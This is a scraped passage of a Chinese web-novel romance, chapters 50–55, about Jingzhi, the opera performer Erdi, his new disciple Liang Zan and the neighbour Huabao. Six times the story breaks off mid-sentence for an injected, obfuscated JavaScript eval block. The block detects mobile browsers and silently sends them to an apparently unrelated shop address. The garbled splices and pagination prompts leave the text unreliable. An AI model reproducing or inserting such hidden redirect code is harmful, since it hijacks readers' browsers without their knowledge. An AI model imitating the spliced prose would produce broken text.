正在她胡思乱想的时候,华宝朝二娣这边翻了个大大的白眼,硬要跟他作对似的,瞪大了眼睛,对快跑到二娣院子的梁赞大喊: “干儿子,回来!” 此话一出,梁赞一个急刹车,由于速度太快,他的布鞋都被他撑得有些扭曲。 静之觉得她都可以从他微微染上尘土的黑色鞋面,清晰看到他脚趾头的痕迹,篱笆外头的黄土路,也硬是被他划拉出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086504|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道尘烟。 静之抬手扬了扬,觉得嗓子有些痒痒的,看了看空气中细微飘起的黄色颗粒尘土,她干脆两手一挥,把撑开的被子聚拢,然后拿下来抱在怀里。 眼瞅着她就要走进屋里去,二娣一把接住她怀里的被子,又对那个傻小子喊: “还不回来!” 梁赞眼瞅着都要到对面小院了,又是一个急刹车,惊得那边卧着孵蛋的老母鸡,丢下自家的崽疯狂逃窜。 二娣上前一步,斜眼看着他师兄: “一把年纪了,还占人家小孩便宜。” 华宝也朝这边走了一步,瞪大了眼睛,指着二娣鼻子就开骂: “占便宜?娘娘腔,我占人家便宜总好过你误人子弟吧!” “什么误人子弟?” 华宝指了指梁赞说: “人家跟了你半年了,你既不肯收,又不肯教,你这不是误人子弟是什么?” 二娣一时语塞,因他说的是实话,面儿上顿时浮上一丝难堪,气血一时上涌,两颊竟生生被气红了一片。 实在没话怼,只能又朝对面篱笆外的梁赞怒喊: “还不快回来?!” 梁赞朝两边针锋相对的师兄弟看了看,脸上尽是无措,一时竟不知该听谁的好,一时心急,他脚一跺,埋怨了句: “哎呀,我都快烦死了!” 静之实在看不下去,她终于出声了: “饭好了,回来吃饭,别练了。” 华宝见是她在说话,他一个男人也不好与一个姑娘家较劲儿,于是朝二娣哼了一声,拖着奀妹就朝里走,边走还边瞪着二娣说: 小主,这个章节后 面还有哦,请点击下一页继续阅读,后面更精彩! 第50章 骂醒二娣 他跨进门槛一脚,刚想进来,又想起这是娘娘腔的家,于是止在原地,看着眼前二娣沉默寡言的样子,他撇了撇嘴。 早知如此,何必当初。 但是该骂,还是得骂: “娘娘腔,你还在生气啊,梁赞他骂得你很对!” “华宝叔!” 静之看了一眼拳头握得发白的二娣,忍不住叫了一声,又朝他暗暗摇头。 怎料黄华宝是个直性子,有话当场就说开了。 他大手一挥,眼一瞪: “静之啊,你别阻止俺,俺今天就是要说! 娘娘腔,师父不是说过吗?技传有缘人,难道梁赞他跟你没有缘吗?所以俺说你啊,无情,冷血!” 二娣咬着牙,就想把手中的茶杯掷出,却“哐”的一声,被静之摁住手腕。 “我泡的,你也丢吗?” 二娣骤然松手,只是又低着头,眉心拧得死紧,背倒是打得笔直。 得,死犟! 她叹了口气,站起身子走到门前: “华宝叔,对不起,他心情不太好,今天就不邀请你进来喝茶了,我……劝劝他。” “俺也不想进去,娘娘腔,还发臭脾气!俺回家!哼!” 说罢,他气呼呼地,也没从正道走,一个翻身越过两道篱笆,干净,利落,看得静之有些目瞪口呆。 她愣了一会儿,这才想起屋里还有犟着的二娣,于是缓缓将门关上。 还未转身,就又被他从后面搂得死紧。 这回,他没有那些杂七杂八的小动作了,只是紧紧圈住她的腰,把头埋进她的肩膀。 静之看着腰间那用力到青筋暴起的手臂,她缓了缓手,轻轻拍了两下安抚他。 为缓和一下气氛,她故作轻松,调笑着说: “过去坐会儿?要在这里站到天黑吗?” 二娣无言,只是越箍越紧,许久,才闷闷地说: “小之……你也会像他一样,突然走掉吗?” “啪!” 二娣捂着手背,瞪大了眼愣愣地看着转过身子的她,眼圈渐渐红起,都不用装,这回是真委屈上了。 “小之,你……” 静之却是没有安慰他,而是眉头紧蹙,深深地看着他说: “昨晚,我才答应要跟你在一起,你又要这么患得患失吗?梁二娣,我不是言而无信的人。” 二娣抖着唇,一时竟不知道该怎么回答,只是觉得内心万分委屈,他抿着嘴,眼里竟真的泛起一层水雾。 静之也抿嘴,她皱眉说: “不许哭! 梁赞说的,不无几分道理,你想想,若是你没有武功,你被那流氓调戏的时候,是不是毫无反抗之力,是不是会任人宰割?还有那教头,来打关公的时候,戏班要是没你坐镇,岂不是要平白无故被人欺负一顿。 而且你扪心自问,若是你真的不想收他为徒,你为什么要留他到现在呢,人生有几个半年,他已经给足诚意了…… 我知道你怕他学了武跟人打架容易出事,但是他的人品,这半年来你应该也看得分明,学武一为致敌,二为自保,你觉得他真的会拿出去残害他人吗?” 二娣被她说得连连后退几步,哐的一声坐回桌前,脸色煞白,眼泪倒是收回去了,头却低低垂了下来,一直打得挺直的背此时微微弓着。 瞧着他那副失魂落魄的样子,静之思索着自己刚刚那番话,暗道自己是否说得有些过分了。 但他犟得要死,不与他说个明白,他肯定又会逃避,毕竟可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086505|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么人,都会像她一样上赶着凑到他身边的。 梁赞作为富家子弟,也是有自己的自尊的。 静之慢慢走了过去,俯下身从身后抱住他,又轻轻抚着他手上淡淡的红印,叹了一口气: “你啊,不被人推一步,你就宁愿龟居一隅……我刚刚打得不重的,不生我的气好不好?” 二娣这回也没心情夹了,他低声说道: “我知道,只是钱或权加身,再加上武力,易让人滋生妄念。” 静之一个转身坐进他怀里,搂着他的脖子,凝视着他的眼睛,十分认真的问: “那你觉得梁赞学了武会变坏吗?” “……” 他未回答,只是又错开眼神,将头放在她肩上。 坐了好久,静之都怕他腿会麻,刚要站起身子,二娣却突然说了句: “……你不走就好。” 阿赞那小子心是不坏,学不学都好,他…只要她还在这里就好。 静之轻叹一声,捧起他的脸,一点一点啄去他眉心的褶皱,又轻轻吻了一下他抿得发白的唇瓣,心下几番思量,这才轻笑一声说道: “只要你不赶我走,我是不会走的。” 随即,又轻轻凑到他耳边柔柔的唤了一声: “因为,你是我未来的…相公。” 古代,应当是这般叫的吧,她想。 这声相公,从他左耳入脑,二娣觉得这两个字瞬间占据了他整个脑子,只觉得周身血液一阵沸腾,脸上热意翻涌,直窜得满脸通红。 他把着她的脖子往后一拉,面对她,紧紧盯着她的眼睛, 张了张嘴,低声轻语: 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第51章 她直呼好家伙 梁赞不知道是不是惊呆了,半晌没有动作,直到静之故意清了清嗓子,他才如梦初醒,缓缓跪了下来。 这时,静之突然听到门外有人正极速接近,脚步声很轻,可能因为着急,篱笆外的叶子发出几声梭梭轻响。 她猛地翻身坐起,还未下床,来人就哐的一声撞门进来。 三人僵在原地,来人也愣住了。 “……华宝叔,这么晚了,还没睡啊?” 华宝定眼看清一站一跪正敬茶的两人,心下了然,讪笑一下,才对静之说: “俺破坏气氛,嘿嘿,俺刚刚听到有声儿,以为这儿进贼了呢。” “……” 静之未说话,只是似笑非笑看着他。 跑这么急,是抓贼,还是想要看热闹? 华宝脚一缩,伸个懒腰,张大了嘴巴拍了拍: “哈唔,困了困了,俺回去睡觉!” 说罢,又轻轻将门带上,溜得飞快。 耳闻脚步声渐渐远去,她才转过头对梁赞眨眨眼,梁赞心领神会,把茶双手举过头顶,嘴巴都快咧到耳后: “师父,请喝茶。” 透过二娣的身影,他仿佛看到了自己的未来。 以后,他也能变这么厉害吧? 静之捧着脸,看着二娣故作矜持的姿态。 此时他背着一手,月光中更加白皙的手指轻轻接过茶杯,薄唇微张轻抿一口茶水,面上淡淡的,轻嗯了一声。 静之想,他可真会装。 在她面前,他才不是这副表情。 不过看他俩和好,她心里正欢欣鼓舞,于是咯吱一声翻身下床,又疾走几步,猛拍了一下梁赞后脑勺说: “好啦,这会如你愿了,跟着你师父好好学呀!” 梁赞揉着后脑勺,笑得牙花子都出来了,又对静之眨眨眼说: “好的,师娘。” “你小子!”静之刚给了他腰子一杵,手臂就被往后拉。 她回头一看,二娣眼珠子乱转,羞得手都不知道该往哪儿放,月光下她都能看到他红得发亮的耳朵。 她有些震惊,人家叫她师娘,她还没害羞呢,他倒是先上脸了。 咋,酒有假酒,茶还有假茶不成? 梁赞这时笑嘻嘻的把脸伸到他俩跟前说: “师父,我跟你说的那招——烈女怕缠郎,你用没用啊,你看静之还不承认她是师娘,要不你换我说的另外一招——霸王硬上弓试试?” 二娣默默的闭上了眼。 静之先是“?”,一秒后变成“!!!”。 好家伙! 她直呼好家伙! 她就说二娣表面上是个风情万种的大花旦,私底下的脾气跟行为跟小学生似的。 且之前都只敢扯她袖子,这两天却突然变了个人似的,黏糊得有些过分。 原来是这个臭小子在搞鬼! 梁赞见她双眼直冒火星,且火势有越来越大的趋势,他揶揄的笑容渐渐扭曲成十分惊恐,他怪腔怪调叫了一声,然后拔腿就逃。 静之迅速四下扫射一圈,抄起桌上的鸡毛掸子就掷了出去。 掸子手柄“咻”的一声擦过梁赞耳尖,又极其快速,“啪”的一声,穿透他跟前的木门。 几许木屑落下,梁赞瞳孔不断震荡着,仿佛被施了法般,定在原地。 过了好一会儿,那掸子竟还发出嗡嗡的细响,随着它的震动,上面的鸡毛掉落几根出来,随着梁赞豆大的冷汗一起落到地上。 “师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086506|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,救,救命~” 二娣没好气的看了吓得腿软,突然一下趴在门上的梁赞一眼,这才轻轻拍了拍静之的手说: “别生气。”刚说完,他突然捂嘴轻咳了两声。 乍一听到他咳嗽,静之的一腔怒火瞬间消失得无影无踪。 她一脸担忧挑起他的下巴细看,见他有些气喘,脸色青白,她又忧又气,想怼他一拳,却怕一拳给他攮死,捏着拳头嘎嘣许久,最后只敢轻轻拿食指推一下他额头,嘴却是撅老高: “叫你一天不吃饭,还在窗口站半宿。现在好了,身体不舒服了吧。” 梁赞听到咳嗽声,也赶紧跑了过来,他不住搓着手,有些尴尬地打量着二娣: “师父,对不起,都怪我回来得太晚。” 二娣环住静之的肩膀,朝梁赞缓缓说着: “还不算太晚,嗬,咳咳。” 见他越喘越厉害,静之急得直揉他的心口: “要不要紧,要不要我再给你熬贴药喝一下?” 梁赞刚想说我去熬,却突然见到他师父假借头晕,手扶上额头,挡住眼睛的一瞬间,迅速对他使了个眼色,他瞬间了然。 原来,师父搁这儿对师娘使苦肉计呢。 不愧是师父,青出于蓝啊,装得可真像,都把他骗过去了。 于是他闭上了嘴,默不作声,走到门前拔那根鸡毛掸子,边拔,边偷偷拿眼角看他师傅装可怜。 又是几声咳嗽。 “小之,咳咳,扶我回去休息就行,梁赞,你也去睡觉吧,再不睡,咳咳,天都亮了。” 一涉及到二娣的身体,静之简直如同惊弓之鸟 。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第52章 练字趣事 第二天一早。 看到面色如常,走姿如常,活蹦乱跳的静之,梁赞扼腕,并暗觑了他师父一眼。 不争气啊! 都睡同一张床了,什么都没干? 难道真体虚到不行了? 被他奇怪的眼神看得浑身发毛,二娣忍不住拿扇柄敲一下他颅顶,斜他一眼说: “看我干什么?还不去换衣服,等会开始练功。” 梁赞任他敲着,却是眉头紧锁,又把大脸怼到二娣耳边,压低声音说: “师父,霸王硬上弓不行,要不你试试欲拒还迎?师母不是被你的戏妆迷得死死的,你试——哎呦!” 二娣敲完他,这才指尖一转,重新把扇柄握回手里,轻轻扇动两下,嘴上沉声斥道: “还不快去换,还想不想学武了?” 梁赞捂着火辣辣的头顶,委屈地看了他一眼,又哦了一声,才转身去拿衣服。 二娣看着他的背影暗暗啧舌,心中暗道,他是那种人吗? 最美好的时刻,当然要留在新婚夜,怎可如此僭越? 说起未来的新娘子,他眉眼一柔,于是放轻步子,悄悄走进他房间。 看清房内一幕,他叹了口气,却又暗暗发笑。 意料之外,情理之中。 他未来的妻子,就不是个能静下心来写字的主儿。 此时,静之正跪坐在炕上,一手撑着脸,一手握着毛笔在一旁的废纸上乱涂乱画,还时不时呲呲一笑,笑到一半,不知为何突然停止,又悠悠叹了口气。 “咳咳!” “……” 静之浑身一抖,跟开小差被班主任抓包似的,头也不敢回,手忙脚乱地把桌上几张废纸扯到桌底下藏着,这才端正坐姿,重新捏好毛笔,一本正经的沾墨,刮墨,竖起笔,却是久久未曾写下一字。 这时,她身后一道低沉的声音渐渐接近: “怎么不写?不会?” 二娣在她身旁站定,眼睛向下一瞄,那废纸一角分明画着一大三小,四只王八,又歪歪扭扭写了几个二娣,不知是否用力过度,那笔画都快糊成一个墨点了,他好险没看出来是自己的名字。 呵,还说他幼稚呢,她也不遑多让嘛。 此时的二娣万万没想到,被静之腿压着的宣纸一角,也胡乱写着几个风字。 静之咽了口唾沫,极其缓慢的回头瞅他一眼,见他面色如常,她大松了口气,语气带着点撒娇,糯糯地说: “二娣,你教我写一遍好不好?我……真不会写毛笔字。” 他一挑眉头: “叫声相公。” “相公。”毫不犹豫,且无比坚定。 “……” 啧,倒是识时务。 不过,他倒是听爽了。 二娣嘴角一勾,给她顺顺有些凌乱的鬓发,这才坐到她身后,微微俯下身子,握着她的手,一同捏住毛笔。 “今天只练你的名字,看好了,方起圆收锋,毛笔字不难的,多练就行……” 随着他的讲解,他边示范给她看,笔尖不再犹豫,轻轻落在宣纸上,每落一笔,有顿有疾,有轻有重。 静之还未反应过来,三个漂亮的大字就跃然纸上。 见她呆住,二娣侧头轻问一声: “学会了吗?” 静之眼神有些发虚: “脑子说它会了。” 至于手会不会,她等会得跟它们商量商量。 二娣:……啧。 他侧过脸刚想说些什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086507|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却突然发现她颊边有几点墨迹,有些无奈,伸出食指轻轻擦去,又捏了捏她的脸颊说: “一天十张大字,写好了有奖励,写不好……呵。” 静之这回也不问什么奖励,她看着铺满桌面偌大一张宣纸,眼睛越瞪越圆,这一张纸就够她写老久的了。 不是,梁老师,你这作业是不是布置得太多了,还十张?? 她觉得她五张都够悬。 见她久久未应,他狠狠心凑到她耳边,动作有些生疏,轻轻吹了一口气说: “等你学成了,我专门为你扮次花旦…可好?” 二娣:梁赞你小子,这招最好有点用。 静之直着脖子像生锈的机器般,一卡一顿转头看他,小嘴微张,满脸不可置信的样子。 二娣给了她一个肯定的眼神,又顺便送了她一个媚眼。 她浑身一个激灵,透过那个媚眼,脑海里却不由自主浮现出他扮花旦时的娇俏可人样儿。 静之突然合上下巴,吞了口唾沫,快速回头,一本正经地开始写字,边写还边反驳: “我是那种人吗?不管你给不给我看,我都会好好练的。” 说是这么说,朝着二娣的这只耳朵,红到有些透亮。 他暗笑一声,揉揉她有些发烫的耳垂,也装作一本正经说: “既然不是,那就好好写,我出去教梁赞练功了。” 二娣:小样~还不拿捏你。 …… 静之坐着的位置侧边有个窗,窗户外头就是院子。 不到一会儿,二娣就开始教起梁赞扎马步,就在这时,隔壁房子突然传来华宝跟 奀妹的声音。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第53章 梁赞拜师华宝 一连几天,静之练字,梁赞练武,二娣练吻技。 她觉得她不仅写字写得手酸,嘴也酸了,二娣倒是一天比一天开心。 瞅着他越发幽暗的眼神,静之一把推开他,把嘴一抹,支支吾吾地说: “快,快出去,梁赞都把桌子搬出去了,你今天不是要跟他在桌子上练吗?” 二娣望着她红润得有些不正常的唇,脊梁骨一紧,赶紧侧过脸,哑着嗓子说: “好,你还欠我3张大字,继续写。” 静之眨了眨眼,嘟着嘴说道: “……嗯………那再给你亲三下,那三张就不写了行不行啊?” 一边说着,她还轻轻地揉着那因为长时间写字而快要长出老茧的指节,心里暗暗嘀咕着: 这一天下来,刚刚才把十张作业交上去,手都酸得要命,真的是一点儿也不想再动笔了! 二娣听了这话,身子猛地一转,背对着静之。 只见他紧紧咬着同样红润的嘴唇,脸色微微泛红,脑海中仿佛有两个小人正在激烈地争吵着。 过了好半天,二娣终于艰难地开口拒绝道: “……不行,必须要写,我先出去了。” 话音未落,他像是生怕自己会突然改变主意一样,急匆匆转身走出了房间。 静之无奈地看着眼前已经半干的砚台,长长地叹了一口气。 唉,没办法,还是早点写完早点结束这份苦差事吧。 于是,她伸手拿起水壶,小心翼翼地往砚台里面倒了一些清水,然后拿起墨锭,慢慢地开始研磨起来。 正当静之全神贯注地磨着墨的时候,突然间,外面传来一声闷响。静之被吓了一跳,手中的墨锭差点儿掉落在地上。她放下墨锭,侧身将窗户支开,往外看去。 哦,原来是梁赞摔了个大屁墩儿。 这时,他正揉着尾椎骨一脸懵逼。 而二娣居高临下,背对着她,站在桌上冷声教育: “八仙桌是练咏春拳的催打手,也就是说,当别人攻你的时候,你不能后退。你要移身卸力,力打对冲。去占据对方的中位,上来!” 梁赞一咬牙,手一撑瞬间站起,又借势一个鞭腿扫向二娣脚踝。 二娣连眼都不眨一下,背手一跳,躲过一脚,如鸿毛般轻轻落在桌上,身子都未曾晃动一下。 梁赞不信邪,脚下一蹬,复而上桌,又跟他开始过招。 他有些急切,这回手脚并用,二娣不慌不忙一一抵挡。 梁赞招数不行,力气倒是挺大,二娣费了点力抵挡,眼瞅着那桌子随着他们拳脚的大力碰撞一晃一动,咯吱直响,静之忍不住提醒了句: “悠着点,咱们家可只有一张饭桌,桌子踹烂,你们就都给我端着碗吃饭。” 不知道这话哪个字眼戳到二娣心里,他眉眼一松,交手慢了一步,竟被梁赞寻到一个破绽。 然而当梁赞指尖抵到二娣胸口时,他却未曾击出,而是对二娣挑挑眉,又嘿嘿一笑,表情越发嘚瑟。 静之觉得挺欠揍,显然,二娣也是这么想的。 只见他眼一眯,下一秒,一个大耳刮子啪的一声,抽到梁赞脸上,直把他打得像断了线的风筝似的,落到桌下。 梁赞捂着脸还没说话呢,二娣恨铁不成钢看着他说: “为什么不打我?你要记住,上场无父子,举手不饶人。再来!” 梁赞边委屈地爬上桌子,边不断腹诽,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086508|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天打了他,他这个小心眼的师父,不得整死他。 还有杵在窗边看的师娘,不得狠狠削他一顿! 是的,静之还没开始写呢,就忍不住探头看他们,这会儿正捧着脸倚在窗框上,对他笑嘻嘻的,眼里却是暗含警告。 这回好了,接下来,他跟二娣对招束手束脚的,完全不敢用力,一路被二娣追着打,一张算得上俊俏的脸鼻青脸肿,浑身也滚得跟个泥猴儿似的。 眼见他俩从桌上打到地上,二娣别着他一只腿,两人跟斗鸡似的,在那儿蹦。 每蹦一下,静之仿佛都能听到,来自梁赞腿弯处软骨的嘎嘣响,她眉头一蹙: “好了,二娣,把他腿掰折了,还不是你得给他治。” 二娣闻言猛地一收腿,梁赞一失力,猝不及防一屁股又坐在地上。 就在此时,原本倚在窗边的静之,像是突然间发现了什么东西一般,整个人如同离弦之箭般猛地从窗户一跃而出。 与此同时,她那焦急的喊声也传入了二人耳中: “快让开,快让开!” 二人纷纷侧目望去,只见她如一阵疾风般直直冲向了梁赞的身后,并以迅雷不及掩耳之势来了个猛扑。 随后,她迅速转过身来,令人惊奇的是,她的手中竟然不知何时多出了一只小巧玲珑的灰色兔子。 “哈哈,今天中午可以给大伙加餐啦,只是......这兔子未免也太小了些吧,唉,算啦,还是去找奀妹讨点饲料把它先养起来再说!” 话音未落,静之便头也不回地朝着隔壁院子快步走去,留下梁赞和二娣两人面面相觑。 小主,这个章节后面还有哦,请点击下一页继续阅读, 后面更精彩! 第54章 骤来秋雨要如何 第二天。 梁赞不知道是不是要让他的新师傅刮目相看,一大早就在院子里打木桩练功。 静之耳朵动了动,她发现除了门外那一阵“哚哚”响,二娣摇摇椅的声音,还有从隔壁渐渐接近的脚步声。 华宝叔这么早就来教了? 功夫好,不代表教学能力好啊,她倒是要出去看看,他是怎么教的。 于是,她拎着大茶壶快速将二娣的小茶壶灌满茶水,盖上盖子,包上手帕,这才一溜烟冲了出去。 刚一跨出门槛,就看到二娣闲得一批,坐在摇椅上慢悠悠摇着,双腿交叉放在一凳子上,一把蒲扇有一搭没一搭扇两下,快活似神仙。 她把包着手帕的小茶壶,一把塞进他手里,又蹲下身子,牵着他搭在扶手上的手,眨巴着大眼睛看着他,用商量的语气说: “二娣,我都写好几天了,放我一天假好不好?我都快写出腱鞘炎了。” 二娣侧头看了她一眼,悠悠的说: “这才第四天。” 静之一噎,伸出四个手指朝他面前比了比: “那也有四十张了,还有你叫我重新写的,算一算都有将近五十张吧,手要断掉了。” 她又摇了摇他的手,嘟着嘴撒娇: “就一天嘛,明天再接着写。” 她很少对他撒娇,二娣被她这会儿爱娇的样子迷得心神一荡,犹豫了一会儿说: “早上休半天,下午教你画画?我现在有空了。” 静之刚想咬咬牙答应的时候,二娣突然看向她身后,又勾起薄唇调侃了一句: “胖子,穿这么漂亮,喝喜酒去啊?” 静之回头一看,华宝穿着一身暗红色缎面长袍,有些大的肚子,显得他跟个有钱的员外似的,然而他大跨步,不拘小节的举动,又把他往粗鲁的气质里拉了拉。 华宝瞥了二娣一眼,哼一声,朝梁赞说: “我一看这娘娘腔就生气,我们走,去别的地方练!” 梁赞闻言停手,乖乖跟在他后头。 走到一半,华宝又回头看一眼背后二人交握的手,他表情突然有些严肃: “我说娘娘腔,你打算什么时候跟静之成亲,别光占人家便宜啊!” 二娣瞬间椅不摇了,打直背坐了起来,低头看一眼埋头当蘑菇的静之,眼里闪过一抹温情。 这回,他倒是没有再跟他师兄顶嘴,而是少见的对他笑了笑说: “我都听她的。” 他的手突然被静之紧握了一下,她手心的汗意透过一层薄纱缓缓传到他掌心的肌肤里,两人交握的手慢慢变得有些湿热。 华宝缓缓点了点头说: “静之妹子,那俺等着喝你们的喜酒,别让俺等太久啊。” 静之不敢抬头,怕被人发现自己的大红脸丢了脸,她急促的点点头,含糊嗯了几声。 华宝看人家姑娘害羞,也不多说,朝二娣挑了挑眉,揶揄笑了几声,带着梁赞就朝后院的树林里走去。 “小之,我们……” 正当他纠结要怎么说的时候,静之突然站起来,拉着他默默跟在刚刚离去的两人后面。 他问:“做什么跟着他们?” 她嘘了一声,看他直勾勾盯着她,脑子里突然想起他刚刚说的话,脸上刚褪下的热度,瞬间又开始升温。 她想了想,才压低声音说: “成亲的事情,等你身体好些再说,不过成亲用的东西,我们可以先慢慢备起来。” 他突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086509|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然笑得开怀,止住步子,谈到这个话题,心情难免有些激荡,于是快速将她抵在路边的树上,刚想一亲芳泽聊表爱意,静之却眼尖的看到他身后走来一挽着裤脚,脚踝处还有半干的泥巴,刚种完田的乡亲。 她轻轻推开他的肩,又牵着他朝着那两个都快消失不见的身影大步走去,边走边说: “别在外面亲,我怕你被人说。” 她又解释说: “我有些好奇华宝叔是怎么教的,我们跟过去看看呗,不靠近,就偷偷看。” 二娣刚想说些什么,耳边忽闻身后不远处传来一声嘀咕。 “啊,那老太太又牵孙子出来玩了。” 二娣侧过脑袋看了看她的发丝,脸黑了下来。 “你生气啦?”她问。 二娣抿着嘴,牵着她的那只手紧了紧,好一会儿,才淡淡地说: “你怕我被别人说,我也不想你被别人说闲话。” 她是他见过最好看的人,就是发白有些突兀,然而她总不是很在乎的样子,但是每次她被人家议论,他这心里头就直犯堵。 看来,有必要寻个方法,帮帮她了。 静之挑过身后一缕长发伸到他眼前说: “你嫌弃我是白发吗?” 二娣被伸到鼻尖的几根发丝,挠的想打喷嚏,他屏住呼吸极力忍住,伸手将发丝接过轻轻啄了一口才说: “那你嫌弃我没有眉毛吗?” 他问得静之有些怔愣,她停了下来,仔细打量他的眉弓。 他离开戏班许久,此时眉毛已长出一些,眉型是好的,但仍旧有些稀疏,倒是衬得他多了几分清冷的 气质。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第55章 还牛 两人甜甜蜜蜜一起购置了些结婚用品,然后分开行动,等静之去买他喝的草药回来,却见二娣怀里也揣了一包不明物体,静之凑过去想扒拉开油纸看一下,却被他眼疾手快躲开了。 “真不告诉我?” 他笑得有些神秘: “等我做好了再给你。” 她有些惊讶: “什么东西啊,还要你自己动手做?” 他又神秘一笑,然后将东西紧紧抱在怀里,又上了牛车。 “还不上来?要中午了,下午还要回去教你画画呢。” 静之仿佛接受不了这个事实的样子,忍不住后退了两步。 还没开始画,她突然就觉得自己的手腕有些痛。 学习综合症啊! “真不想画?” 他有些无奈地看着她这副大受打击的样子。 她咽了口唾沫,眼含期待地看着他: “可以,我是说……可以不画吗?” 她实在是一丁点儿兴趣都无啊,画画还不如去跟梁赞打一顿来得痛快。 她又急急说道: “我回去写一封信给你看看我这几天的成果?” 二娣看她那副视作画如蛇蝎的样子,忍不住又长长叹了一口气,犹豫几下,终是松了口答应她。 静之见他点头,乐得一蹦三尺高,脚下一蹬,彭的一声坐上车,车身随着她大力往下一压,甚至发出一声难听的嘎吱声,他啧了一声: “别闹,等会车给你坐坏,这些东西……可不能掉。” 他回头,伸手万分小心地抚摸着放置在他身后捆着的喜被,指尖轻触那铺面绣着的龙凤时,他忍不住心里一阵悸动,恨不得明天就与她成亲。 “小之……” 静之只看他一眼,就知道他想要说什么,她瞬间也红了脸,却是坚定地摇了摇头: “不行,我不能拿你的身体开玩笑。” 他突然有些羞赧,任老牛往回程走着,他则不断挪着屁股,凑到她耳边轻声说: “我体力可以的,可以坚持到成亲结束。” 说罢,他还拿起她放在推车后面正偷摸抠被子花纹的手,放置在自己被她养得厚实了不少的胸膛说: “真的。” 静之抚着他温热的胸膛,同时也感受到他急促跳动着的心脏,仿佛触到他心里的那份期待,她竟也跟着开始小鹿乱撞起来。 思索了许久,才望着他那双渴望不已的眼睛,重重点了点头。 二娣仿佛有些不可置信的样子,愣了半天,才哆嗦着嘴问: “那,那我回去就看日子去?” 静之抿嘴一笑,与他十指相扣: “确定了哦?不可以再推开我。” 二娣总会因为一点事情,瞻前顾后。 对他,她总是有些不放心,都到这个时候了,她总想再确认一下。 他咧着嘴,笑得眼睛都快眯成一条缝了,用力点了点头。 “嗯,不推开。” 怎料世事变幻无常。 有时候,话说得太早,却更是伤人心。 …… 回到家里,二娣难得对习武归来的梁赞有个好脸,甚至还对他笑了笑,惊得梁赞以为他娣哥出去一趟被鬼附身了。 看着边笑边往他房里搬东西的二娣,梁赞偷摸蹭到静之旁边蹲下,手上边帮她洗草药,边悄悄问她: “娣哥……他怎么回事?他笑得我毛毛的,不会又想整我吧?” 静之看着二娣拿进房里的喜被,也跟着红了脸,她挺起身指了指推车一角捆着的 